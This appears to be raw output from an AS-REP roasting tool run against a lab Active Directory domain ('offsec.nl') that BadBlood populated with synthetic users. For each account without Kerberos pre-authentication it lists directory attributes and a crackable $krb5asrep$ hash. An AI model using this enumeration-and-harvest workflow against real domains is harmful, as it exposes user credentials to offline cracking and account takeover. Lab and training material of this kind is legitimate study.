$krb5asrep$23$KEITH_HOLCOMB@offsec.nl:8b018116affce2545a1ff082741d879b$d443752238ee0553cf1ba7bb77f95a7aa6ec3e68fbd84889d4090738160581e90dc810da7ff423ee93f553559ce3aedd50fd3328246590d2857e4c10aa35edb75c9b36a24074dafb5fcc0465b9e7c1286dc64d23ec667f46fac9785d4bccd3bb74230721e7aac2e2054b5b9e5fa691844cc07af7b10833993658ef710486703ac67610217b31f81f61110d81269caabe164e8afc95859c20f85f591f6550955f72dc8f138f89cf8d2e76fb8d08a47a6c0508fd71f67e261b292082b34c69052d7d78474bd17c84889c0bb50813b3c7c60c3da66bf046f239b8c8e37fe9d684ed4366931dbeaa Searching for ASREPRoast Users - Details for User 'ANDREA_BLACKBURN': sAMAccountName : ANDREA_BLACKBURN userPrincipalName : ANDREA_BLACKBURN@offsec.nl distinguishedName : CN=ANDREA_BLACKBURN,OU=Devices,OU=ITS,OU=Tier 1,DC=offsec,DC=nl description : Created with secframe.com/badblood. objectSid : S-1-5-21-3509477529-2169914037-1395257886-1336 userAccountControl : NORMAL_ACCOUNT, DONT_REQ_PREAUTH memberOf : CN=CA-VLA-distlist1,OU=Groups,OU=AZR,OU=Stage,DC=offsec,DC=nl CN=AI-jfsa44341-distlist1,OU=Test,OU=FIN,OU=Tier 2,DC=offsec,DC=nl CN=JI-TELEFONOS-distlist1,OU=ServiceAccounts,OU=FIN,OU=Tier 2,DC=offsec,DC=nl CN=GL-486-distlist1,OU=Groups,OU=AZR,OU=Stage,DC=offsec,DC=nl CN=TI-sudivino1-distlist1,OU=Groups,OU=HRE,OU=Tier 1,DC=offsec,DC=nl CN=HO-alb-distlist1,OU=BDE,OU=Stage,DC=offsec,DC=nl CN=AM-zal-distlist1,OU=AZR,OU=Stage,DC=offsec,DC=nl CN=BE-mortadela-distlist1,OU=ServiceAccounts,OU=ESM,OU=Tier 2,DC=offsec,DC=nl CN=RO-260-distlist1,OU=ITS,OU=People,DC=offsec,DC=nl pwdLastSet : 2/5/2022 9:59:56 AM lastLogonTimestamp : 2/10/2022 1:59:32 PM $krb5asrep$23$ANDREA_BLACKBURN@offsec.nl:41fd57cd42a7770fbfe854f0769b0a38$8a2f0b100f3e5c489ee5733dc65187fbf647e0e18d208b10115ff32fb34d866aaeb4c61d7489c4da6358f6f1bf30940cc0b5bcf754a8e57caaaa8d867d257a962be04426b7a65795ec61ad1c2b69e8d444f96e70f9ab0d6072bd0f46c7dc99826176e98e1419702fa52ec847b7e657a5a3c533cd6cb4d59f642938712b6a6be4d80b1a71f765b3784c1be81948e17e1bd5f11b173dafb3a9fb1ef4dd9d54e42b63412ecefd0139b301bbdf405ae5550322d820b795865b0a63f1fbe196796f7cea67024002f828479c76537f5301ce0aeaafedd90f3ed1f8a966f5208f5439c7d1e3ebb2102b Searching for ASREPRoast Users - Details for User 'DONA_GALLOWAY': sAMAccountName : DONA_GALLOWAY userPrincipalName : DONA_GALLOWAY@offsec.nl distinguishedName : CN=DONA_GALLOWAY,OU=Groups,OU=AZR,OU=Stage,DC=offsec,DC=nl description : Created with secframe.com/badblood. objectSid : S-1-5-21-3509477529-2169914037-1395257886-1347 userAccountControl : NORMAL_ACCOUNT, DONT_REQ_PREAUTH memberOf : CN=OR-mul-distlist1,OU=Devices,OU=AWS,OU=Tier 1,DC=offsec,DC=nl CN=AU-its-distlist1,OU=AZR,OU=Stage,DC=offsec,DC=nl CN=DE-Bell3Goss-distlist1,OU=Devices,OU=AZR,OU=Stage,DC=offsec,DC=nl CN=TO-meg-distlist1,OU=Groups,OU=ESM,OU=Tier 2,DC=offsec,DC=nl CN=SO-8.32668E1-distlist1,OU=ServiceAccounts,OU=AWS,OU=Stage,DC=offsec,DC=nl CN=ER-Spi-admingroup1,OU=HRE,OU=People,DC=offsec,DC=nl pwdLastSet : 2/5/2022 9:59:59 AM lastLogonTimestamp : 2/10/2022 1:59:32 PM $krb5asrep$23$DONA_GALLOWAY@offsec.nl:3fbaae0fe1689aad197d179bcacf9d8f$ba6972dfbdf07dc7435bb96aa70e4c71ae5007ca5bd64e916bf09efc43b8ed9d9b54b500fb65a95aa35cedcdddbb062c6043d40f0dc0acb7944f9455db761fb9fd8904e2dd8b2b60c20fd0df6fca26ed0d6a30bfd8f4c053a740953f03c3058622aac107bde1e13b32efe31d956db47f5e941181df0f067a13b7b8d6d6f02284588990b089bf709dd4dddde692eb889b2dced5986eadb3236bf3be8aed417ec9381217f6525972c7cf092a3265004f0b82e58c74319e586e3439a7280dbc14e469146bee98d5d6a915636845c9d148a8b0159107bf334727462271906c86463485659912cc27 Searching for ASREPRoast Users - Details for User 'BENITO_JOYNER': sAMAccountName : BENITO_JOYNER userPrincipalName : BENITO_JOYNER@offsec.nl distinguishedName : CN=BENITO_JOYNER,OU=ServiceAccounts,OU=OGC,OU=Tier 1,DC=offsec,DC=nl description : Created with secframe.com/badblood. objectSid : S-1-5-21-3509477529-2169914037-1395257886-1392 userAccountControl : NORMAL_ACCOUNT, DONT_REQ_PREAUTH memberOf : CN=JU-chilangab-distlist1,OU=Devices,OU=GOO,OU=Tier 2,DC=offsec,DC=nl CN=RO-barbacian-distlist1,OU=ServiceAccounts,OU=FSR,OU=Tier 1,DC=offsec,DC=nl CN=CL-328-distlist1,OU=Devices,OU=ITS,OU=Stage,DC=offsec,DC=nl CN=VI-PRIMOALEX-admingroup1,OU=Groups,OU=AWS,OU=Stage,DC=offsec,DC=nl CN=RO-sexpistol-distlist1,OU=Devices,OU=HRE,OU=Tier 2,DC=offsec,DC=nl CN=PA-407078811-admingroup1,OU=Devices,OU=OGC,OU=Tier 1,DC=offsec,DC=nl pwdLastSet : 2/5/2022 10:00:09 AM lastLogonTimestamp : 2/10/2022 1:59:32 PM $krb5asrep$23$BENITO_JOYNER@offsec.nl:6eb3b5065d276cca8ec016eff1db683e$e1c130da439e73af1146c6cbbebe4ef555be619ad6925af116d2460d57a8a921d3664d5b6b125132820db74c51b1ac53c2bead33410fa8d723b87e3ff8cd16971476b502035d374f8f0fba6bd2f3c4c00e026c304cad65de0384d5fe135a2f5e25c7634ba1389087152b2922c07249a0744f4181470a85b9a2237c332434bac667f8a2777af927d97c61a098031febd2434027d49d62f75ddda68e3109e7b6d529542fe56bb74f2da50fafc998f0dde5e5182098821cddc8bde5936176db59fc871746bfd82d80e84456d4b74d511dae605bcc61a7c7d82fed89dcc3a96bedc3dd671339e27b Searching for ASREPRoast Users - Details for User 'KARL_MCCARTY': sAMAccountName : KARL_MCCARTY userPrincipalName : KARL_MCCARTY@offsec.nl distinguishedName : CN=KARL_MCCARTY,OU=Groups,OU=ITS,OU=Tier 2,DC=offsec,DC=nl description : Created with secframe.com/badblood. objectSid : S-1-5-21-3509477529-2169914037-1395257886-1397 userAccountControl : NORMAL_ACCOUNT, DONT_REQ_PREAUTH memberOf : CN=DA-438-distlist1,OU=Devices,OU=AWS,OU=Tier 2,DC=offsec,DC=nl CN=FR-angel_070-distlist1,OU=Test,OU=OGC,OU=Tier 2,DC=offsec,DC=nl CN=NE-150283bsa-distlist1,OU=Grouper-Groups,DC=offsec,DC=nl CN=TA-ilovepink-admingroup1,OU=Test,OU=ESM,OU=Tier 1,DC=offsec,DC=nl pwdLastSet : 2/5/2022 10:00:10 AM lastLogonTimestamp : 2/10/2022 1:59:33 PM $krb5asrep$23$KARL_MCCARTY@offsec.nl:7d54b3a494f457c4fe32c7b17e7c47a5$3f12a1004370a4434fd936d8c0881f2f2cbed059fa85ed331881899d062e6c16f08187775c350077834db636d0f5e96a056cc3742fea211b54da300c288567072b14ecf3927f3b61c02f0c8e0d83ecd43061ce752e00c9050e048f3a56c8074844e813c8305d2139747e147f6dd4800ebbba8f2fecb67245831f7df5234eaf51acf97e19aaadecf10bcf98da3fec5015962357626a4db9ccc8c9c19132b3c08287642a42fd12df76611ad80122967e95c76bad73eeb45509e935951d218a1e180bf42946477354342fccca38b59846d355bf0c17132c10c57dbabab19aa0f8e48c44e81b7abe Searching for ASREPRoast Users - Details for User 'ROBYN_HOPPER': sAMAccountName : ROBYN_HOPPER userPrincipalName : ROBYN_HOPPER@offsec.nl distinguishedName : CN=ROBYN_HOPPER,OU=Testing,DC=offsec,DC=nl description : Created with secframe.com/badblood. objectSid : S-1-5-21-3509477529-2169914037-1395257886-1435 userAccountControl : NORMAL_ACCOUNT, DONT_REQ_PREAUTH memberOf : CN=ER-hou-admingroup1,OU=Groups,OU=ESM,OU=Tier 2,DC=offsec,DC=nl CN=DI-BEL-distlist1,OU=Devices,OU=TST,OU=Stage,DC=offsec,DC=nl CN=AL-campeonal-distlist1,OU=Test,OU=AZR,OU=Tier 1,DC=offsec,DC=nl CN=BE-978-distlist1,OU=Devices,OU=TST,OU=Stage,DC=offsec,DC=nl CN=VI-sudivino1-distlist1,OU=ServiceAccounts,OU=HRE,OU=Tier 2,DC=offsec,DC=nl pwdLastSet : 2/5/2022 10:00:19 AM lastLogonTimestamp : 2/10/2022 1:59:33 PM $krb5asrep$23$ROBYN_HOPPER@offsec.nl:66ad1c5a5820a364e5a93233c1aadaa8$160f4bbc317ce26fc392faba46c99e84717dbd940aab720cbf0fd338814e56864665ee9419f37a45120848c06e26bbecca5080b8223620f00689a5e03e642351baaf6dc2cb04a93fb8cea99ae7af422688b9f53bc88e279052f3039a750c182ab20a77d4144bdbd95122a2f91fb8831aeb45458b66fe991054de9643770c89fc3d2751929f561f4436da3d3b76c22efb719de2612c7f64921ef1e078344e0e77bca6c1817616abade93e7f371c184e705a25495eb26645a5065153d885fe90668d73ba8fffce13353a031a55d580501abaf6b8d95d12ec4427032c7ebb1c88945901a1e35aab Searching for ASREPRoast Users - Details for User 'DAVIS_MAYS': sAMAccountName : DAVIS_MAYS userPrincipalName : DAVIS_MAYS@offsec.nl distinguishedName : CN=DAVIS_MAYS,OU=T2-Roles,OU=Tier 2,OU=Admin,DC=offsec,DC=nl description : Created with secframe.com/badblood. objectSid : S-1-5-21-3509477529-2169914037-1395257886-1438 userAccountControl : NORMAL_ACCOUNT, DONT_REQ_PREAUTH memberOf : CN=VE-majaivars-distlist1,OU=HRE,OU=Tier 1,DC=offsec,DC=nl CN=DA-438-distlist1,OU=Devices,OU=AWS,OU=Tier 2,DC=offsec,DC=nl CN=21-30julio20-admingroup1,OU=AWS,OU=Tier 1,DC=offsec,DC=nl CN=GE-rob-admingroup1,OU=Groups,OU=FSR,OU=Stage,DC=offsec,DC=nl CN=AL-az2-distlist1,OU=T0-Roles,OU=Tier 0,OU=Admin,DC=offsec,DC=nl pwdLastSet : 2/5/2022 10:00:20 AM lastLogonTimestamp : 2/10/2022 1:59:33 PM $krb5asrep$23$DAVIS_MAYS@offsec.nl:c8be7e743f3a0fb06572a29e246129b5$48bb73423e439607b11fd61d25d9fbf84a62991a4d56e111b487fe355cc969874e2aaae8bd35a1d5b3c108f1da18bc92982092fa34b390492b8b7d062012a9c5f28b739cc4f4139070d484561464dce9b9448086cc6635424c012248d0948bf94dcda8e8edd7e638ba0bc61e9d27c49bb73c6ca1162f28e61a91a0db4f95b4d5746204e587bdf7a9da5f4e4c8427a996317d086499276870eee3a1a8028e3b57d69e7924dfe6983a93f15e434a2fc3a1ed36ec5ea15a884e512d4e8d193b3bce5419567cd4690104a20b9e8dbf623df2aa00e00cabe51f074a0624ef1d63a01eea97f38a0915 Searching for ASREPRoast Users - Details for User 'HEIDI_MULLINS': sAMAccountName : HEIDI_MULLINS userPrincipalName : HEIDI_MULLINS@offsec.nl distinguishedName : CN=HEIDI_MULLINS,OU=GOO,OU=People,DC=offsec,DC=nl description : Created with secframe.com/badblood. objectSid : S-1-5-21-3509477529-2169914037-1395257886-1440 userAccountControl : NORMAL_ACCOUNT, DONT_REQ_PREAUTH memberOf : CN=PH-mon-distlist1,OU=ServiceAccounts,OU=FSR,OU=Tier 2,DC=offsec,DC=nl CN=ST-lolivicen-distlist1,OU=Groups,OU=HRE,OU=Tier 2,DC=offsec,DC=nl CN=GO-109-admingroup1,OU=TST,OU=People,DC=offsec,DC=nl CN=JA-shecoshec-admingroup1,OU=FSR,OU=Stage,DC=offsec,DC=nl CN=JU-chilangab-distlist1,OU=Devices,OU=GOO,OU=Tier 2,DC=offsec,DC=nl CN=JA-104744421-distlist1,OU=ServiceAccounts,OU=AZR,OU=Tier 1,DC=offsec,DC=nl CN=AU-erj-distlist1,OU=.SecFrame.com,DC=offsec,DC=nl CN=IS-CAR-admingroup1,OU=Groups,OU=HRE,OU=Tier 2,DC=offsec,DC=nl CN=PO-2.8-distlist1,OU=Test,OU=BDE,OU=Tier 2,DC=offsec,DC=nl pwdLastSet : 2/5/2022 10:00:20 AM lastLogonTimestamp : 2/10/2022 1:59:33 PM $krb5asrep$23$HEIDI_MULLINS@offsec.nl:ae911126de492f61f52e6cb1e89b0904$16ed055106258fdd84ad201f2f22c6b0695d9b931582211af6eae5455ed43b763ab6e9d24cf46cdd179d1d44c67f28ded9d912efe53981a966009c47ba5a0b5a2b7fb9b3daf26f8bd96676fdc626a4c1e34522e2a6ff7e72c31d111ea2df0faff2fdf495beafe80425e1c323cd6b82ae05bdb9591e92e4fed4d3760a1d241e88e5dca5341d06c0bd2d971a08a60be91051391a7d2800752f833dccf4da2e9bedceb36c66ce1f43ff4c89b4b1ec516cac6af0b363208eb2b59cdc3fe1554616dd5aed548a341b4bd7b109013019e3838856423bb07b5a703d7e97f09363278abf1ae1dd3d505c Searching for ASREPRoast Users - Details for User 'TOD_LEONARD': sAMAccountName : TOD_LEONARD userPrincipalName : TOD_LEONARD@offsec.nl distinguishedName : CN=TOD_LEONARD,OU=Groups,OU=ITS,OU=Tier 1,DC=offsec,DC=nl description : Created with secframe.com/badblood. objectSid : S-1-5-21-3509477529-2169914037-1395257886-1467 userAccountControl : NORMAL_ACCOUNT, DONT_REQ_PREAUTH memberOf : CN=BE-greandia1-distlist1,OU=ServiceAccounts,OU=FIN,OU=Tier 1,DC=offsec,DC=nl CN=GA-9fe-admingroup1,OU=Groups,OU=OGC,OU=Tier 1,DC=offsec,DC=nl CN=PR-ordnajela-distlist1,OU=Devices,OU=AWS,OU=Stage,DC=offsec,DC=nl CN=DI-massari19-distlist1,OU=ServiceAccounts,OU=SEC,OU=Tier 2,DC=offsec,DC=nl pwdLastSet : 2/5/2022 10:00:26 AM lastLogonTimestamp : 2/10/2022 1:59:33 PM $krb5asrep$23$TOD_LEONARD@offsec.nl:675f51863c9d57a08b187900d205110f$b68e1cc87ec1cf6762b1d5d4a5edfa8378fdccae4a7da47aca35f478fddb57452cce699382ed723a526388557c91cb40f0fdb4d56d60fb80811bb71f8d3df773da033781d656d19f1803e46cab93a4d947207c08f5d04344c7d3b8131107c87dd5f88f0b003d7a22436c6e349e65a527784d40bddc7456ccff8162cd7a1e9e934c1af63c9fa35f1f65efae92769061838e008c94d18239f66312821497ded083ae5760d796b29dfa678337cd33da6c7078a67d6cbb6cc69b228e38295e0391c33908d862de735ff825da0235725f7ad3da1f966bb8522a6214968ad8c811eaa3d778519dec1f Searching for ASREPRoast Users - Details for User 'LUPE_PITTMAN': sAMAccountName : LUPE_PITTMAN userPrincipalName : LUPE_PITTMAN@offsec.nl distinguishedName : CN=LUPE_PITTMAN,OU=Test,OU=AWS,OU=Stage,DC=offsec,DC=nl description : Created with secframe.com/badblood. objectSid : S-1-5-21-3509477529-2169914037-1395257886-1482 userAccountControl : NORMAL_ACCOUNT, DONT_REQ_PREAUTH memberOf : CN=DE-Bell3Goss-distlist1,OU=Devices,OU=AZR,OU=Stage,DC=offsec,DC=nl CN=89-629-distlist1,OU=Groups,OU=TST,OU=Tier 2,DC=offsec,DC=nl CN=KR-brailbrai-admingroup1,OU=Groups,OU=ESM,OU=Tier 2,DC=offsec,DC=nl CN=TR-pel-admingroup1,OU=ServiceAccounts,OU=TST,OU=Tier 2,DC=offsec,DC=nl CN=BE-mortadela-distlist1,OU=ServiceAccounts,OU=ESM,OU=Tier 2,DC=offsec,DC=nl pwdLastSet : 2/5/2022 10:00:30 AM lastLogonTimestamp : 2/10/2022 1:59:33 PM $krb5asrep$23$LUPE_PITTMAN@offsec.nl:ecd1318be622d83dcab92be1429d78a3$b815c67823b413cae2ba252ef5bbc9a442c2ce60683a6bfaa1bec4c71a0680a4d953aac1725c103d2a109f7a38afa0153c6e95355ee28b6932906bb1270ba7fdd60f781f292f85e76f5c782c8b609afd331f22bc8f1a781df72d483381b005ecb7ad9a1692dabc6e7734892884c74dab84e4bbec6971d300d22a4c881a1fbe9da8eb05f193ca504018d98542d1d1362b8b54809152dea39ea15366fae7b78a9efeea2fb41b8865f7ce1859d9aff6bae9bde738677e256fdc2991da1443f091d221cc3b529deebb6ed2066edfabd0e9ee2c7141fec93c3e25d9b30321249d50852484ae204941 Searching for ASREPRoast Users - Details for User 'WAYNE_EVANS': sAMAccountName : WAYNE_EVANS userPrincipalName : WAYNE_EVANS@offsec.nl distinguishedName : CN=WAYNE_EVANS,OU=Staging,OU=Admin,DC=offsec,DC=nl description : Created with secframe.com/badblood. objectSid : S-1-5-21-3509477529-2169914037-1395257886-1483 userAccountControl : NORMAL_ACCOUNT, DONT_REQ_PREAUTH memberOf : CN=CL-est-admingroup1,OU=Groups,OU=HRE,OU=Tier 1,DC=offsec,DC=nl CN=RO-tam-admingroup1,OU=ESM,OU=Tier 2,DC=offsec,DC=nl CN=DA-kar-distlist1,OU=ServiceAccounts,OU=GOO,OU=Tier 2,DC=offsec,DC=nl CN=TR-CAN-distlist1,OU=Groups,OU=AZR,OU=Stage,DC=offsec,DC=nl CN=KR-brailbrai-admingroup1,OU=Groups,OU=ESM,OU=Tier 2,DC=offsec,DC=nl CN=JO-1.9778E11-admingroup1,OU=Groups,OU=ITS,OU=Tier 1,DC=offsec,DC=nl CN=MI-sol-distlist1,OU=ServiceAccounts,OU=AWS,OU=Stage,DC=offsec,DC=nl CN=CL-tat-distlist1,OU=Test,OU=FIN,OU=Stage,DC=offsec,DC=nl CN=LA-maryprinc-distlist1,OU=Tier 2,OU=Admin,DC=offsec,DC=nl CN=RO-hus-distlist1,OU=Groups,OU=GOO,OU=Tier 1,DC=offsec,DC=nl pwdLastSet : 2/5/2022 10:00:30 AM lastLogonTimestamp : 2/10/2022 1:59:33 PM $krb5asrep$23$WAYNE_EVANS@offsec.nl:0a17728f13e28455480b6242b7783ad8$cfaa51118f11c71da49afaeadbe5a569014b2f0271d3b2094f57aaf15bb2083633f403e699825ec4e6d037e47010c131553a87f1396a1c066b3674ff5ec35e94e37aa28aa86da5716ff96e71998928f50ffe37a0b4cbbe8aa5efa24063ee3df85a1968e9a754561f920c425f3e4d053ea16a23d4cd47a719aca797eaca6811763c4bef062c76303442c317869e0a1c801384b0dcc87e9683412b47a1f2175d78743da73cca4b7b660fb94da4119a7ae67eeaf18a7451046605d39c9b581c65e8e911c64e47f08f485d6d7162b2034bd74027e277534ef6399e743b1dfd334f0911d8a4b83719 Searching for ASREPRoast Users - Details for User 'RUFUS_POOLE': sAMAccountName : RUFUS_POOLE userPrincipalName : RUFUS_POOLE@offsec.nl distinguishedName : CN=RUFUS_POOLE,OU=Admin,DC=offsec,DC=nl description : Created with secframe.com/badblood. objectSid : S-1-5-21-3509477529-2169914037-1395257886-1522 userAccountControl : NORMAL_ACCOUNT, DONT_REQ_PREAUTH memberOf : CN=JO-marcela23-distlist1,OU=Test,OU=BDE,OU=Tier 2,DC=offsec,DC=nl CN=KI-titia2810-distlist1,OU=ServiceAccounts,OU=HRE,OU=Tier 2,DC=offsec,DC=nl CN=GE-wie-distlist1,OU=GOO,OU=Stage,DC=offsec,DC=nl CN=LE-170-distlist1,OU=Devices,OU=HRE,OU=Stage,DC=offsec,DC=nl CN=OP-qaz-admingroup1,OU=HRE,OU=People,DC=offsec,DC=nl CN=OP-2112_andy-distlist1,OU=T0-Permissions,OU=Tier 0,OU=Admin,DC=offsec,DC=nl CN=TO-ura-distlist1,OU=Quarantine,DC=offsec,DC=nl CN=NO-soc-distlist1,OU=Test,OU=AWS,OU=Tier 1,DC=offsec,DC=nl pwdLastSet : 2/5/2022 10:00:39 AM lastLogonTimestamp : 2/10/2022 1:59:33 PM $krb5asrep$23$RUFUS_POOLE@offsec.nl:b9f4ea8b57aafbe5c73064fc111b533a$a8f35dcbab97fb25aeca7f733faeba8c8fcd6aa3e1d5dfadba073ae2277f93d7de9000de7020eac136f5542b1c55a36a098915d3b7e738877fa5dd53fb35160d5ecf74b6604640b823ba9bebb2a41dea9988b98fc474eba9062ed21c5ff97559435eab8c347ffb96b196f3524ab83f9be1a7bef437ad1a543186dd869f3c4146f369810d0f0b7f52d9170517688b345df3741cc5850bfdff04e9ea29724ba12d48df0e871cd81a81dfbe012a36722bd1e2e15499eb866a13c11a3e230845cf4350af62601050dd87f1e281bb8ea3abd332aba9e428be3b804f1f774102184716d2762b55e915 Searching for ASREPRoast Users - Details for User 'WHITNEY_SLOAN': sAMAccountName : WHITNEY_SLOAN userPrincipalName : WHITNEY_SLOAN@offsec.nl distinguishedName : CN=WHITNEY_SLOAN,OU=T2-Permissions,OU=Tier 2,OU=Admin,DC=offsec,DC=nl description : Created with secframe.com/badblood. objectSid : S-1-5-21-3509477529-2169914037-1395257886-1525 userAccountControl : NORMAL_ACCOUNT, DONT_REQ_PREAUTH memberOf : CN=EL-piensoent-distlist1,OU=Test,OU=AWS,OU=Stage,DC=offsec,DC=nl CN=SO-PEQUE.OJO-distlist1,OU=Tier 2,OU=Admin,DC=offsec,DC=nl CN=ER-Spi-admingroup1,OU=HRE,OU=People,DC=offsec,DC=nl CN=MA-1a2s3d4f5-distlist1,OU=GOO,OU=Stage,DC=offsec,DC=nl pwdLastSet : 2/5/2022 10:00:40 AM lastLogonTimestamp : 2/10/2022 1:59:33 PM $krb5asrep$23$WHITNEY_SLOAN@offsec.nl:9d0399660c336fcf47b65e2d666c7f21$7ab9a72802b22b6057a3b50f0275e40f9bc941865a6e27531c80a13d42080537c5c21e7347502e222524f08216afbffba97d097009ee1ffc3ffce3e07dffa70f901e28f0fb48f8e3625ab1d6c2d0927b35c6c11609708bac7ddc018de94d76e1ae1afa0fcb90edc92ffff2f24afeb76e9d6609206026cbe2dda6d6f3a038c5dbf952906a6cc51a2a0f8403b0b5a5d8b6ce609b54e41dbf887093ba65b43c768e3228a20a93159f362ad28dcc5a121b4e562521399af546f6739cf1ae364c74472b4d37944c604bd66974dc6829d18ce3050c035b43680f78cb8bb9ab771f72c46928c6fbab09 Searching for ASREPRoast Users - Details for User 'CECILE_ERICKSON': sAMAccountName : CECILE_ERICKSON userPrincipalName : CECILE_ERICKSON@offsec.nl distinguishedName : CN=CECILE_ERICKSON,OU=ServiceAccounts,OU=AWS,OU=Stage,DC=offsec,DC=nl description : Created with secframe.com/badblood. objectSid : S-1-5-21-3509477529-2169914037-1395257886-1537 userAccountControl : NORMAL_ACCOUNT, DONT_REQ_PREAUTH memberOf : pwdLastSet : 2/5/2022 10:00:43 AM lastLogonTimestamp : 2/10/2022 1:59:33 PM $krb5asrep$23$CECILE_ERICKSON@offsec.nl:48fe6194ccba78b5aef63e087f16bc6c$bba178193da9b86b4f173da625aa50124cd25d80ae4d7029e0238b35671a2cbd9da376f588352833a0bf3ff0b53029d1bed727f989822d43e1a91323f7ceb326daa26236b3e8acc7b38b1782da4ef42db2fbb4b0abadb1abab775c1bebeb6b68abcbb416e65ac32fd4486b7c6c5a91d21aaca6bd71a3375ac4a5d921e54656fbe54fd19b8185beda88ae540953732c7a527f7a7ce0c7e282b9831dfff7997384a6f48f4a1d784df0c6325655f38050d50ae731926da08a16ee325667d159bbd3a0cec6aae1e32540e6d80bcc1af6b688a7eb390723ee88adf9fedcc8d5902fc160609bc37ba6 Searching for ASREPRoast Users - Details for User 'CHRIS_ROLLINS': sAMAccountName : CHRIS_ROLLINS userPrincipalName : CHRIS_ROLLINS@offsec.nl distinguishedName : CN=CHRIS_ROLLINS,OU=FIN,OU=Tier 2,DC=offsec,DC=nl description : Created with secframe.com/badblood. objectSid : S-1-5-21-3509477529-2169914037-1395257886-1566 userAccountControl : NORMAL_ACCOUNT, DONT_REQ_PREAUTH memberOf : CN=MA-Num-distlist1,OU=T1-Accounts,OU=Tier 1,OU=Admin,DC=offsec,DC=nl CN=FL-kk2-distlist1,OU=HRE,OU=People,DC=offsec,DC=nl CN=EL-Dul-admingroup1,OU=Groups,OU=TST,OU=Tier 1,DC=offsec,DC=nl CN=SE-iro-distlist1,OU=SEC,OU=Tier 1,DC=offsec,DC=nl CN=BE-ratablanc-distlist1,OU=GOO,OU=Tier 1,DC=offsec,DC=nl CN=TI-sudivino1-distlist1,OU=Groups,OU=HRE,OU=Tier 1,DC=offsec,DC=nl CN=DE-HER-distlist1,OU=T0-Accounts,OU=Tier 0,OU=Admin,DC=offsec,DC=nl CN=CA-cyf-distlist1,OU=ESM,OU=Stage,DC=offsec,DC=nl CN=RO-karlateam-distlist1,OU=Test,OU=AZR,OU=Stage,DC=offsec,DC=nl CN=25-270-distlist1,OU=ESM,OU=Tier 1,DC=offsec,DC=nl pwdLastSet : 2/5/2022 10:00:49 AM lastLogonTimestamp : 2/10/2022 1:59:34 PM $krb5asrep$23$CHRIS_ROLLINS@offsec.nl:ab6fec4468ce75e1d7b134131198fed7$0218667e7c17e37ccd8ad4a4bde96644b3db917769e35e86cfdd6d7c966610c0dff4c22dcabca8d7a834b75657ebb5ff2e477d1d5317583e3c64370583f48518e4b472bed59a428f3eb9df411d5349858c631e2e2dec88e93a2c595a64812f356ca7f2cb073d6f0375d76f3627fa25e7d82def14be56e7820570c0571bb4f7b2c2621de1ae8b34bd7d1d47233c7204f9c041ec0cf7b46ea651079faf8361840ecc659fc3aa89533861ce3e26dc80483010911e5227b29b94605dbd23a1c79d228bdf6d33c3d72d020c8eae482124ffe7b41e8f1b97e66ebeaf81aacc3193b3b5d4f7ca8bcc78 Searching for ASREPRoast Users - Details for User 'BERNICE_MCKENZIE': sAMAccountName : BERNICE_MCKENZIE userPrincipalName : BERNICE_MCKENZIE@offsec.nl distinguishedName : CN=BERNICE_MCKENZIE,OU=Devices,OU=AWS,OU=Tier 2,DC=offsec,DC=nl description : Created with secframe.com/badblood. objectSid : S-1-5-21-3509477529-2169914037-1395257886-1575 userAccountControl : NORMAL_ACCOUNT, DONT_REQ_PREAUTH memberOf : CN=LE-rio-distlist1,OU=Devices,OU=HRE,OU=Tier 1,DC=offsec,DC=nl CN=MA-arambeltz-distlist1,OU=ITS,OU=People,DC=offsec,DC=nl CN=AU-cup-admingroup1,OU=BDE,OU=Tier 1,DC=offsec,DC=nl CN=VI-interinat-distlist1,OU=ServiceAccounts,OU=SEC,OU=Stage,DC=offsec,DC=nl CN=DA-438-distlist1,OU=Devices,OU=AWS,OU=Tier 2,DC=offsec,DC=nl CN=MA-44688059w-distlist1,OU=ServiceAccounts,OU=FSR,OU=Stage,DC=offsec,DC=nl CN=NE-bonifacia-distlist1,OU=Groups,OU=OGC,OU=Tier 1,DC=offsec,DC=nl CN=MA-eri-distlist1,OU=Devices,OU=HRE,OU=Tier 1,DC=offsec,DC=nl CN=CA-cyf-distlist1,OU=ESM,OU=Stage,DC=offsec,DC=nl CN=GR-par-distlist1,OU=Devices,OU=BDE,OU=Tier 2,DC=offsec,DC=nl CN=RO-sop-distlist1,OU=Groups,OU=HRE,OU=Tier 1,DC=offsec,DC=nl pwdLastSet : 2/5/2022 10:00:51 AM lastLogonTimestamp : 2/10/2022 1:59:34 PM $krb5asrep$23$BERNICE_MCKENZIE@offsec.nl:b6d0964d140f4200deebb39ab4976a0c$a47569870edbe968dc12f55c0b8eca56b574804c09494b73fb2b957a7cf7372ff7382fe444f98b014b8913f5312c68636897639de16fbfef30de539089d9c1c06f9b3b8955fa4c69718ccf12a3a8ef57e2cd5ae61751a7ff7d887ea2d5366bc20234dc7ed5a8b8ee6f2d2558b5a4e15a4885a1bbebaa581871278807e8c1414859f93d352e4acc5ac694f0cc1843d71347173471adc03ec9460dda90900fd68f7cedb36a00b98806e00c2149696f31dbf7bce8a322191108857e3f5197d14fa622010b343224535a712cd10b55d684512af173abde31342eb922a957807d43bbccce8215602e Searching for ASREPRoast Users - Details for User 'CECELIA_WYATT': sAMAccountName : CECELIA_WYATT userPrincipalName : CECELIA_WYATT@offsec.nl distinguishedName : CN=CECELIA_WYATT,OU=ServiceAccounts,OU=TST,OU=Tier 2,DC=offsec,DC=nl description : Created with secframe.com/badblood. objectSid : S-1-5-21-3509477529-2169914037-1395257886-1614 userAccountControl : NORMAL_ACCOUNT, DONT_REQ_PREAUTH memberOf : CN=CO-mer-admingroup1,OU=Devices,OU=BDE,OU=Tier 2,DC=offsec,DC=nl CN=CE-ferdhinan-distlist1,OU=ServiceAccounts,OU=FSR,OU=Stage,DC=offsec,DC=nl CN=HI-231085liz-distlist1,OU=OGC,OU=Tier 2,DC=offsec,DC=nl CN=KE-ive-distlist1,OU=Devices,OU=ITS,OU=Tier 2,DC=offsec,DC=nl CN=AN-eskorbuti-distlist1,OU=T2-Devices,OU=Tier 2,OU=Admin,DC=offsec,DC=nl CN=SU-youlookyo-distlist1,OU=Test,OU=HRE,OU=Stage,DC=offsec,DC=nl CN=HA-now-admingroup1,OU=Test,OU=FIN,OU=Tier 1,DC=offsec,DC=nl CN=LE-105-distlist1,OU=Groups,OU=AWS,OU=Stage,DC=offsec,DC=nl pwdLastSet : 2/5/2022 10:01:01 AM lastLogonTimestamp : 2/10/2022 1:59:34 PM 